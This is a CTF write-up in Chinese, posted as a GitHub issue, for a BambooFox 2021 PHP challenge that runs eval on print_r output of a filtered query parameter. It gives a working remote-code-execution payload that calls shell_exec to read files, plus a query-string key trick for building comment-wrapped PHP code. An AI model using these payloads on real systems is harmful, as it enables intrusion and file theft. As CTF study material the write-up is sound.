aszx87410 / ctf-writeups

ctf writeups

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

BambooFox CTF 2021 - ヽ(#`Д´)ノ

aszx87410 opened this issue · comments

commented

這一題給的程式碼非常簡短:

 <?= 
 	highlight_file(__FILE__) &&
 	strlen($🐱=$_GET['ヽ(#`Д´)ノ'])<0x0A &&
 	!preg_match('/[a-z0-9`]/i',$🐱) &&
 	eval(print_r($🐱,1)); 

限制看起來很嚴格,長度最多只能到 9,而且還不能有任何英文數字。

之前有解過類似的需要用 xor 或是 not 來產生字元,然後再用 PHP 可以用字串 function 名稱執行函式的特性來執行,最後達成 RCE。

不過這題的長度限制是 9,再怎麼想都不可能,因為光是基本的一些字元就已經超過了。

所以這題換個角度想,可以用 array 來試試看,自己實際試過之後發現 array 確實可以繞過,前面兩個判斷都可以通過,那接下來的問題就是該怎麼讓:eval(print_r($🐱,1) 可以順利執行。

這邊我一開始的想法是讓 print_r 出來的東西變成合法的 php 程式碼,就可以成功執行了,於是我先用 print_r 出來的格式去跑 php,嘗試過底下這樣:

<?php
 $arr = array(
  [0] => 1
 );
 print_r($arr);
?>

執行之後會輸出:PHP Fatal error: Illegal offset type in /Users/li.hu/Documents/playground/php-test/er.php on line 3

看起來是 array 的 index 不能是陣列,不然就會出錯。原本想說那這條路應該行不通了,後來我想說:「那既然會出錯,有沒有可能在出錯之前先執行我想執行的函式?」,就嘗試了以下程式碼:

<?php
 $arr = array(
  [0] => system("ls")
 );
 print_r($arr);
?>

發現還真的印出結果了!而且原本的 fatal error 變成了 warning:Warning: Illegal offset type in /Users/huli/Documents/security/ais/php-challenge/b.php on line 3

我到現在還是不知道為什麼,但只要 value 的部分有 function call 就會這樣。

所以只要讓 print_r 產生出來的東西變成一段合法程式碼,就可以插入任意字元,後半段用 /* 註解掉就好,最後的解法長這樣:

abs(1)); echo shell_exec("cat /*"); /*

先用 abs(1) 把 fatal error 變 warning,然後執行想要的程式碼,最後用註解把後面跳掉,成功拿到 flag。

賽後去看其他人的解法,發現 query string 原來這麼神奇。我一直以為 query string 頂多就是傳 array,像是這樣:?a[]=1&a[]=2,但後來才發現原來[]裡面可以有東西,像這樣:?a[test]=1,在 PHP 裡面你就可以拿到:

Array
(
    [test] => 1
)

如果是這樣的話,就可以讓 key 是 /*,value 是 */]); echo 123;/*,組合起來就變成:

<?php
 Array(
  [/*] => "*/]); echo 123;/*"
 );
?>

就成功組出一段合法的 PHP 程式碼。

這一題學到最有價值的東西就是這個了,原來 query string 不只傳陣列,要傳物件也是可以的(至少 PHP 跟 express 都有支援,其他的我不確定)